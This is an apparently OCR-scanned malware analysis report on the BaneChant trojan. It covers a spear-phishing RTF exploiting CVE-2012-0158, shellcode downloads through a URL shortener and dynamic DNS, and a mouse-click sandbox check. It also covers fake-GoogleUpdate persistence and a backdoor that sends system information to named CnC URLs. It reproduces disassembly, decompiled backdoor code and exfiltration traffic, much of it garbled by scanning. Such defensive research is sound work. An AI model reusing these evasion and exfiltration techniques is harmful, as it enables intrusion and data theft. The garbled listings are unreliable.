Trojan.APT.BaneChant: In-Memory Trojan That Observes for
Multiple Mouse Clicks

Summary

Last December, our senior malware researcher (Mr. Abhishek Singh) posted an article about a Trojan
which could detect mouse clicks to evade sandbox analysis. Interestingly, we have found another spear
phishing document that downloads malware which incorporates improved mouse click detection anti-
sandboxing capability. It also leverages multiple advanced evasion techniques to achieve stealth and
persistent infection. The name of malicious document is translated to be “Islamic Jihad.doc”. Hence, we
suspect that this weaponized document was used to target the governments of Middle East and Central

Asia.
This new malware is significant for several reasons:

o It detects multiple mouse clicks: In the past, evasion methods using mouse clicks only detected
a single click, making the malware fairly easy to overcome.

e The callback goes to a legitimate URL: Often when malware performs its callback, the
communication goes directly to the CnC server. In this case, the callback goes to a legitimate URL
shortening service, which would then redirect the communication to the CnC server. Automated
blocking technologies are likely to block only the URL shortening service and not the CnC server.

¢ It has anti-forensic capability: This malware doesn’t kick into high gear immediately. Instead it
requires an Internet connection for malicious code to be downloaded to the memory and
executed. Unlike predecessors that are very obvious and immediately get to work, this malware is
merely a husk and its true malicious intent could only be found in the downloaded code. This

prevents forensic investigators from extracting the “true” malicious code from the disk.

Overall, this malware was observed to send information about the computer and set up a backdoor for
remote access. This backdoor provides the attacker the flexibility on how malicious activities could be

executed.
Technical Analysis: How Does it Work?

After opening this malicious document, it attempts to download an XOR encoded binary (using a two byte
XOR key) for the stage one payload. It was also observed that the attacker leveraged a shortened URL to
“hide” malicious domains from automated analysis technologies. After investigation, the malicious

domain was analyzed to be recently registered. See Figure 1 for the first stage download scenario.
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Domain Whois record

Queried whois.internic.net with "dom symbisecure.com"...

Malicious Server

aliases

addresses 208.98.15.21

SYMBISECURE.COM
PDR LTD. D/B/A PUBLICDOMAINREGISTRY.COM
whois.PublicDomainRegistry.com
http://www.PublicDomainRegistry.com
Name Server: DNS13.SH3LLS.NET
Name Server: DNS14.SH3LLS.NET
Status: clientTransferProhibited
Updated Date: 07-mar-2013
Creation Date: 07-mar-2013
Expiration Date:

Domain Name:
Registrar:

Whois Server:
Referral URL:

07-mar-2014

Figure 1 Stage One Download

The attacker has designed the stage one malware to be merely a husk. Having the decrypted executable file

alone would not be useful in understanding its intent. It is because a majority of the malicious code is only

available after downloading the second stage payload. The second stage payload was available as a fake

“JPEG” file from the malicious server. By designing the malware this way, it makes it harder to perform

incidence response and facilitates ease of update of malicious code. Again, in this second stage download,

the malicious domain was not found in the malware. It made use of the dynamic DNS service provided by

“NO-IP” to indirectly access the malicious domain. See Figure 2 for the second stage download scenario.

The technical details of each component (shellcode and payload) will be further elaborated.
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Stage 2 Download
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GoogleUpdate.exe
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Malicious Server
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. \\f‘ - Expiration Date: 07-mar-2014
2 \(\(&Q Obfuscated malicious code
mool.tmp Note: mool.tmp is the decrypted version of winword.pkg. Itis relocated to

“C:\ProgrambData\Google2\GoogleUpdate.exe” after “logo.jpg” is downloaded
and executed directly in memory successfully.

A shortcut link file is saved in startup folder for persistency.

Figure 2 Stage Two Download

Shellcode Analysis

The spear phishing document was in RTF format which as designed loads MSCOMCTL.ocx and exploits

CVE 2012-0158. By executing return at 0x27606EFF, it will load EIP with address 0x27583C30 which is

translated to be JMP ESP to execute shellcode in the stack. See the figure below.
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[& cPU - main thread, module MSCOMCTL

27583 85FF TEST EDI,EDI
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276086FB81 8BEC MOV EBP,ESP 082A4000D ietfdme.B2A4000D
27606FB83 56 PUSH ESI 93570810
27686FB84 8B75 8C MOU ESI, 86121644
27686FB87 57 PUSH EDI 27638160 MSCRMCTL.2763081680

27606F068 6A 10 PUSH 18 275F4A62 SPMCTL .275F4A62
27606FBA 59 POP ECX 9668000686

27686FBB BF F0255827 MOV EDI,MSCOMCTL .275825F8 ! . )
276086F18 33CH XOR EAX,EAX 276086EFF MSCRMCTL .27686EFF
27686F12 F3:A6 REPE CMPS BYTE PTR ES:[EDI],BVTE PTR ES 6823 32 t g(r[ﬁ[’FlTFFF)
Return to 27583C38 (MSCOMCTL.275 CS 001B 32bJt O(FFFFFFFF)

Address Comment _:_001216hk 27583C30 {' MSCOMCTL .27583C30
001B419C 27583C30 MSCOMCTL .27583C30 STOND e

881B41A6 1CEB9690 0012164C 27586D05 EmX' MSCOMCTL .27586D85
881B41AL 27586D85 MSCOMCTL .27586D 65 081216580 275DF57B {0]' MSCOMCTL.275DF57B
881B41A8 275DF57B MSCOMCTL .275DF57B 86121654 27SCFB7D }U\' MSCOMCTL.27S5CFB7D
861B41AC 275CFB7D MSCOMCTL .275CFB7D 66121658 BCEB96986

861B41B0 BCEB96G986 8012165C 276026A2 * MSCOMCTL .2760826A2
801B41B4 276026A2 MSCOMCTL .2760826A2 06121666 98969090

901B41B8 9096896898 00121664 9069690980

861B41BC 909090690 00121668 E990890690

081B41CH E99089690 8012166C 00666221

961B41C4 6068060221 806121676 00666000

961B41C8 6806006080 80121674 06606000

0881B41CC 9OBB6666 00121678 00666000

881B41D6 600068660 0612167C 00066000
00121686 660668660

Figure 3 Stack Corruption To “JMP ESP”

Like most modern shellcode, its stub decrypts its body using a simple XOR key (see Figure 4). By stepping
through the shellcode, it attempts to download hxxp://ow.ly/iGKKT and saves it to the temp directory
with a file name prefixed with “moo”, e.g., “moo1.tmp” (see Figure 5). It is important to note that “ow.ly” is
not a malicious domain. Instead, it is a URL shortening server. It is believed that the rational for such
indirect access is to defeat automated URL blacklisting. Figure 6 depicts how a malicious URL could be

shortened using this service.
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66121894 BO F1 MOU AL, BF1

00121896 B9 6F020000 MOU ECX,26F

00121898 EB OA EIE SHORT 081218A7

8012189D PNP_EST

86812189E MOU EBX,ESI XOR key OxF1
00121800 XOR BYTE PTR DS:[ESI],AL

0012182 INC ESI

001218A3 SHORT 861218A8

881218A5 CALLEAN
E8 F1FFFFFF M8 0012189D

881218AC 19A7 F1F1F1A2 SBB DWORD PTR DS:[EDI+A2F1F1F1],ESP

081218B2 A4 MOUS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI
001218B3 A7 CMPS DWORD PTR DS:[ESI],DWORD PTR ES:[E
001218B4 A6 CMPS BYTE PTR DS:[ESI],BYTE PTR ES:[EDI
061218B5 7A4 9D SHORT 00121854

8061218B7 D5 E9 AAD BEY9

00121889 B4 SHORT 00612186F

06121888 7A INT 74

861218BD MOUS DWORD PTR ES:[EDI],DWORD PTR DS:[E
001218BE Unknown
001218BF 89F0 MOU EAX,ESI

0061218C1  1B7A BB SBB EDI,DWORD PTR DS:[EDX-45

Figure 4 Single Byte XOR Key oxF1

Registers (FPU) < < <
EAX 1A494BBE urlmon.URLDownloadToFileA

ECX ©06121B88 ASCII “"http://ow.ly/iGKKT"

EDX B6012BE38

EBX 86121238 ASCII "C:\DOCUME™\user\LOCALS™\Temp\"
ESP 80120E28

EBP 00121638
ESI 8012195F ASCII "moo1™
EDI 7C881D7B Kernel32.LoadLibraryf

EIP 1A494BBE urlmon.URLDownloadToFileA

Figure 5 URLDownloadToFileA

Shorten URL

Shrink It

Figure 6 URL Shortening Service

From the network traffic, it is obvious that the real malicious content is located at
hxxp://symbisecure.com/update/winword.pkg (see Figure 7). As an excecutable file usually contains
many zeros in series, the zeros would become the XOR key when XOR encoded. For example, OXAA xor
0x00 equals to 0xAA. By examining the content using a hex editor, it is obvious that there are many “gE

44 repeated. Hence, by trying 0x449E (little endian) as an XOR key, it would reveal that it is a PE file. At
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offset zero, it is decrypted to be “MZ”; at offset 0x3C, it is decrypted to be 0x00000E0; and at
0x000000Eo0, it is decrypted to be PE (see Figure 8).

By generalizing this idea, the single or double byte XOR key can be seen as a dword XOR key as it repeats
over itself. For example, 0x449E XOR key could be seen as 0x449E449E. By counting the DWORD with
the highest occurance, it could be a probable XOR key if the file is XOR encrypted. This should work for
samples that are (1, 2 or 4, but not 3 bytes) XOR encrypted.

-Stream Content
GET /iGKKT HTTP/1.1
Accept: */¥
Accept-Encoding: ?zip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; .NET CLR 2.0.50727)
Host: ow.ly
Connection: Keep-Alive

Error 301, implicitly redirects to victim

g . —=+28 vt tO real malicious site
Server: Apache/2.2.14 (Ubuntu)

X-Powered-By: PHP/5.3.2-1lubuntu4.18

Set-Cookie: OWLYSID=f61604d22494a738706d64353e3536d91c5d69¢el; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

cache-contro]:hno—store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: ng—eache
Locgtion: http://symbisecure.com/update/winword.pkgl
X-Gridnum =75

vary: Accept-Encoding

Content-Encoding: gzip

|Content-Length: 20

Connection: close

Content-Type: text/html

‘HTTP/1.1 301 Moved Permanently
4= 35— 0 S a4 g v s s o« e ey

Figure 7 Stage 1 Download Content
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Figure 8 Double Byte XOR Encrypted Payload
Payload Analysis

Even though “winword.pkg” is an executable husk to host malicious code downloaded at the second stage,
it contains a mouse-click check to detect human behaviors. Only if the number of left clicks is three or
more, will the malware proceed further to download the second stage payload — the true malicious code

(see Figure 9 and Figure 10).


http://www.fireeye.com/blog/wp-content/uploads/2013/03/8.winword.pkg_.jpg

004018008 push ebp

0646108061 mov ebp, esp

064010603 mov eax, hasHouseDouwn

06401008 sub eax, @

004616008 jz short loc_461827
: TR
A 4

e 53

06461868D dec eax

8040100E jnz short loc_46183A

Y
|

]

‘1

[= =]

e 53

06461818 cmp

[ebp+wParam], WM _LBUTTONUP

0684810827

00461617 jnz short loc_46163A 004610827 loc_4610827:
B 804081827 cmp [ebp+wParam], WHM_LBUTTONDOWN
80840102E jnz short loc_u48163A
r | -
A J A J
s B3 Ll s B3
004810819 inc MouseUpClicks 0040810630 mov hasHouseDoun, 1
00401061F and hasMouseDown, eax
00461025 jmp short loc_46163A
- =
Figure 9 Track Number of Left Clicks
iV
e B3
00401364
00401364 los=li01264
064061364 cmp MouseUpClicks, 3
08040136B| j1 short loc_481347
! -
Y v
w53 s B3
0646136D push hhk ; hhk 00401347
88461373 call ds :UnhookWindowsHooKkEx 00401347 loc_461347: ; whsgFilterHMax
00401347 push esi
864061348 push esi ; whsgFilterHMin
86461349 push esi ; hind
0040134A lea eax, [ebp+hisg]
00848134D push eax ; lphisg
80408134E call edi ; GetMessagell
00401350 lea eax, [ebp+isg]
006461353 push eax s lplisg
0684081354 call ds:Translatelessage
06406135A lea eax, [ebp+lisg]
8848135D push eax s lphisg
80408135E call ds:DispatchMessagell
[

Figure 10 Proceed If Left Click Count Is Three Or More

After the malware detects sufficient mouse clicks, it proceeds to decrypt its malicious URL to download
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the second stage payload (see Figure 11). By following the TCP stream (see Figure 12) and examining the
header of the downloaded JPG file, it is obvious that downloaded content is not a JPEG file. By doing so, it
effectively downloaded an executable content that is not conformed to PE format to defeat network binary
extraction. A legitimate JPG file should contain the byte sequence “FFD8FFE0xxxx4A46494600” at
offset zero, where “4A464946” corresponds to “JFIF”. Below is the hardcoded URL and user-agent that

is used by this malware sample.

e URL: hxxp://kibber.no-ip.org/adserv/logo.jpg
e User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV2)

; CODE XREF: wWinMain(x,x,x,x)+48Tj
edi, offset szServerName ; ")C-ESG*I/K>H 0>0=SyU?W(Yt[3], \aabc”
DecryptString
edi, offset szObjectName
DecryptString
Server Name: kibber.no-ip.org
Object: /adserv/logo.jpg
A\ 4
"]
004081068
004081086B loc_4061086B:
004810668 mov cl, al
00401086D add cl, 66 ; counter-based xor Key starting from 66
06461678 xor [eax+edi], cl ; edi is string ptr
80481073 inc eax ; eax is counter
00401674 cmp eax, esi
004010876 jb short loc_46106B

Figure 11 Malicious Domain Decryption
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-Stream Content

"' Follow TCP Stream i

GET /adserv/1ogo Jjpg
Accept: image/jpe

HTTP/1.1 302 Found

Server: Apache
Location: httﬁ 2/ /v,
content-Lengt
IConnection: c1ose
Ccontent-Type: text/

User-Agent: Moz11?a/4 0 (compatible; MSIE 6.0; windows NT 5.1; 5Vv2)
Host: kibber.no-ip.org

Date: Mon, 18 Mar 2013 02:59:52 GMT

HTTP/1.1

symbisecure com/adserv/1ogo. jpg
Follow TCP Stream

-Stream Content

IGET /adserv/lo o Jpg HTTP/1.1

Accept image/ ?

User-Agent : Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; Sv2)
connection: Keep- -Alive

Host: www.symbisecure.com

HTTP/1.1 200 OK

Date: Mon, 18 Mar 2013 02:59:27 GMT

Server: Apache/2.2.23 (unix) mod_ss1/2.2.23 openssL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
Last-Modified: Fri, 08 Mar 2013 07:41:23 QuT

ETag: "a670074-12a91-4d76414a50700"

Accept-Ranges: b;t

Content-Length: 76433

Keep-Alive: timeout=5, max=100

" ”
Connection: Keep-alive Not “JFIF” header as expected.
content - e: image/
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Figure 12 Fake JPG

After the JPG file is downloaded and executed directly in the memory, it achieves persistency by creating a

shortcut link file at the

start up folder. This link file will execute a copy of itself located at

“C:\ProgramData\Google2\GoogleUpdate.exe” (see Figure 13). It would look legitimate to users as it

masquerades as a legitimate Google Updater. It “would” appear normal if it attempts to access the

Internet. In comparison, the real “GoogleUpdate.exe” resides in “program files” instead “program data”

directory (see Figure 14).
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00A11B04 1lea eax, [esp+458h+pszPath]
86A11BB7 push eax 5 pszPath
66A11BB8 push (5] ; duFlags
86A11BBA push 8 ; hToken
86A11BBC  push CSIDL_STARTUP ; csidl
80A11BBE push 8 ; hund
806A11B18 call SHGetFolderPathy
80A11B16 test eax, eax
80A11B18 jnz short loc_A11B61
s B3
80A11B1A push offset phore ; "GoogleUpdate.lnk"
80A11B1F 1lea ecx, [esp+45Ch+pszPath]
86A11B23 push ecx ;5 pszPath
86A11B24 call PathAppend¥
86A11B2A push 5} ; duColnit
86A11B2C push 5} ; PvReserved
86A11B2E call ColnitializeEx
AR011B20 ftoct Qa3 Q3w
& C:\Documents and Settings\user\Start Menu\Programs\Startup “ ]D'}]
Fle Edt View Favorites Tools Help | v
(D Back » &3 » (¥ | O search [ Folders | Fr X
Address lD C:\Documents and Settings\user\Start Menu\Programs\Startup _V_I Go
Name = | Size | Type | Date Modified |
* desktop.ini 1KB Configuration Settings  3/27/2007 2:14PM
1KB Shortcut 3/18/2013 1:11 AM

Figure 13 Persistency Mechanism
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Image IPerfon-nance' Performance Graphl Threads[ TCP/IPl Secun'tyl Environmentl Stn'ngs|

—Image File
= Google Installer
,@ {verified) Google Inc
Version: 1,03.0021.0103
Time: 1/22/2013 10:25 AM
Path:
| C:\Program Files\Google\Update\GoogleUpdate .exe
Command line:
I “C:\Program Files\Google\Update\GoogleUpdate.exe” /c

Current directory:
| C:\Program Files\Google \Update\1.3.21, 124\

Parent: <MNon-existent Process >(1418)
Yerify:
User: NT AUTHORITY\SYSTEM

Started: 4:12:03AM 2/12/2013 Bring to Front

Comment: | Kill Process

Data Execution Protection (DEP) Status: Off

oK

i KL

Figure 14 Genuine GoogleUpdate.exe

The downloaded “JPG” file was analyzed to be a backdoor in the victim’s machine. It lists the running
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processes, IP configuration, and directories of root drives (C to H) as depicted in Figure 15. This
information is posted to hxxp://symbisecure.com/adserv/get.php in Base-64 format. After decoding, it is
interesting that it begins with a Tag named “BaneChant”. After doing a quick search, it seems to be a
sound track composed by Hans Zimmer for the movie “The Dark Knight Rises” (see Figure 16). This is the

reason we name this malware Trojan.APT.BaneChant.

aCmd_exeQCTasklistS: ; DATA XREF: StealSystemInformation+9ETo
unicode 8, <cmd.exe /q /c tasklist >
dw 3Eh
unicode 8, < "%s'">,8
actmd_exeQCEcho: ; DATA XREF: StealSystemInformation+C77o0
; StealSystemInformation+16Bio
unicode ‘8, <cmd.exe /q /c echo ———————————————————————————— >
unicode 8, <{--—-—--—---—-—- >

du 2 dup(3Eh)
unicode 8, < "%s">,8
db 6 dup(B8)

acmd_exeQCIpconfigAll: | ; DATA XREF: StealSystemInformation+E970
unicode 8, <cmd.exe /q /fc "ipconfig /all" >
dw 2 dup(3Eh)
unicode 8, < "%s">,8

aCmd_exeQCDirCS: ; DATA XREF: StealSystemInformation+12D7o
unicode B8, <cmd.exe /q fc dir C:\ >
du 2 dup(3Eh)
unicode 8, < "%s">,8

acmd_exeQCDirDS: ; DATA XREF: StealSystemInformation+14Fio
unicode B8, <cmd.exe /q /fc dir D:\ >
dw 2 dup(3Eh)
unicode 8, < "%s">,8

acmd_exeQCDirES: ; DATA XREF: StealSystemInFormation+171To
unicode B8, <cmd.exe /q /fc dir E:\ >
dw 2 dup(3Eh)
unicode 8, < "%s">,8

aCmd_exeQCDirFS: ; DATA XREF: StealSystemInformation+19370
unicode 8, <cmd.exe fq fc dir F:\ >
du 2 dup(3Eh)
unicode 8, < "%s">,8

acmd_exeQCDirGS: ; DATA XREF: StealSystemInformation+1B57o
unicode B8, <cmd.exe /fq /fc dir G:\ >
dw 2 dup(3Eh)
unicode 8, < "%s">,8

aCmd_exeQCDirHS: ; DATA XREF: StealSystemInFormation+1D?To
unicode B8, <cmd.exe /q fc dir H:\ >

Figure 15 Commands Executed
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-Stream Content |

POST /adserv/get.php HTTP/1.1  [Tag: BaneChant

Accept: text/plain, text/html Version: 2 .0-LNX
ggﬂﬁggﬁ'P_"_’f__’f‘_’lf’_‘_’f’:fff?f'fj‘fff Machine ID: <Machine name> <UserName>
User-Agent: Mozilla/4.0 (compatilWindows Version: Windows 5.1 (Service Pack 3)
Host: symbisecure.com Local Time: 22:19:49 2013-3-18

\Content-Length: 5547
|cache-control: no-cache

[U31zdGVEICAGICAGICAGICAGICAGICAQ]———— === = o e e e e e
|ICAGICAgICAQMCAQICAQICAGMM2IESN]
' ICAQICAGNTQWIENVHNNVDGUQICAQICAg ] ]
DQpjc331Zzcy51eGUQICAGICAGICAQICAG] Volume in drive C has no label.

\ICAGICAQICAQICAWICAQICAQMYWXMZYQ] volume Serial Number is fecass ]
gICAgICA?ICAZNZYgQZQUCZQSZSAgICAg
|IIESNCNN | cnZpY2VzZLmVv4Z SAGICAQICAQ
|ICAGICAgICAQGICAQIDAGICAQICAZLDMS| Directory of C:\
|ICAGICAQICAQIDCczMiBDb25zb2x1ICAg
|0DggswOKdm1hy3RobHAUZXh1ICAQICAQ

ICAQICAQICAQICAGICAQMCAGICAGIDIS|03/27/2007 02:14 PM 0 BUTOEXEC.BAT
03/27/2007 02:14 PM 0 CONFIG.SYS
03/27/2007 03:26 PM <DIR> Documents and Settings

lcontent-Di sposition: form-data; Image Name PID Session Name Session# Mem Usage
content-Type: text/plain
ql System Idle Process 0 Console 4] 28 K
B e 5{System 4 Console 0 236 K
Content-Disposition: form-data; (smss.exe 580 Console 0 388 K
(Content-Type: teXt/m ain csrss.exe 652 Console 0 3,136 K
SRR = winlogon.exe 676 Console 0 3,300 K
services.exe 720 Console 0 3,392 K
Content-Disposition: form-data; (1Sass.exe 732 Console 0 5,788 K
Content-Type: text/plain svchost.exe 928 Console 0 4,752 K
. GoogleUpdate.exe 1832 Console 0 4,400 K
ICAQICA?»ICA?ICA% explorer.exe 1856 Console 0 20,124 K
WJJV]g dXN CgoKV21 UZG93cyBwzZXl1z alg_exe 1524 Console 0 3,484 K
IChTzX3J2awN1IFBhY2sgMykNCkxvY2Fs
‘OTOOOSAgMijMyOZLTE-‘iDQONCgOKSWlhwscntfy .exe 1516 Console 0 2,048 K
|ICBQSUQQU2Vzc21vbiBOYW1 1 ICAQICBT{wniprvse. exe 2020 Console 0 7,548 K
e oo o zsoix
iICAgICAgMCBDbZSZbZX] ICAQICAQICAg tasklist.exe 112 Console 0 4,212 K

Figure 16 Exfiltrated Computer Information
As depicted in Figure 17, the malware could perform other tasks as listed below.

1. Command ‘g’: Download and execute a file. The downloaded file has a temporarily file name
prefixed with “java”.

2. Command 9’: Run downloaded code (fileless) as a separate thread. The user-agent used is
“Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko)”.

3. Command ‘x’: Download and execute, follow by an uninstallation of “GoogleUpdate.exe”. The
downloaded file has same prefix “java”.

4. Command ‘u’: Uninstall “GoogleUpdate.exe”
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case 'g': // get blnary
DownloadAndExecutePrefixJava{url);
break;
default:
return;
case 'i': // inject code
u2 = allocad{4112);
struct a.field_188C = (unsigned int)&struct a ~ XOR_Key B8xB75B2FA5;
canonicalURL = v9 + 1;
struct_a.pShellcode = 8;
struct_a.ShellcodeSize = 8;
memset_@O{struct a.canonicalURL, 8, 0x10886u);
mbstowcs_s(
(size t =*)&struct_a.PtNumOfCharConverted_ThreadID,
{(wchar t =)struct a.canonicallRL,
8x8006u,
canonicalURL,
8x806u);
if { DownloadInjectionCode({const WCHAR *)struct a.canonicalURL, &struct a, {int)&struct a.pShellcode) )
{
pShellcode = struct_a.pShellcode;
if { struct a.pShellcode )

{
sizeOfStruct = struct a.ShellcodeSize;
if { struct a.ShellcodeSize )
{
pExecutablePage = UirtualAlloc_B(0@, struct a.ShellcodeSize + 512, 0x3000u, PAGE_EXECUTE_READWRITE);
if ( pExecutablePage )
{
memcpy_1{pExecutablePage, pShellcode, sizeOfStruct);
CreateThread(8, 0, StartAddress, pExecutablePage, 8, (LPDWORD)&struct a.PtNumOfCharConverted_ThreadID);
}
u8 = GetProcessHeap();
RtlFreeHeap(vg, 8, pShellcode);
b4
b4
b
sub_A138EB((void *)((unsigned int)&struct a * struct a.field_106C));
break;
case 'x': // Execute and uninstall

DownloadAndExecutePrefixJava(url);
goto LABEL_8;
case 'u': // Uninstall
LABEL_8:
Uninstall();

Figure 17 Backdoor Access
Conclusion

As defense technologies advance, malware also evolves. In this instance, we could see that the malware

has performed a number of tricks to defeat detection.
It attempts to:

1. Evade sandbox by detecting human behaviors (multiple mouse clicks);

2. Evade network binary extraction technology by performing multi-byte XOR encryption on
executable file;

3. Social engineer user into thinking that the malware is legitimate;

4. Avoid forensic and incidence response by using fileless malicious codes; and

5. Prevent automated domain blacklisting by using redirection via URL shortening and Dynamic DNS

services.
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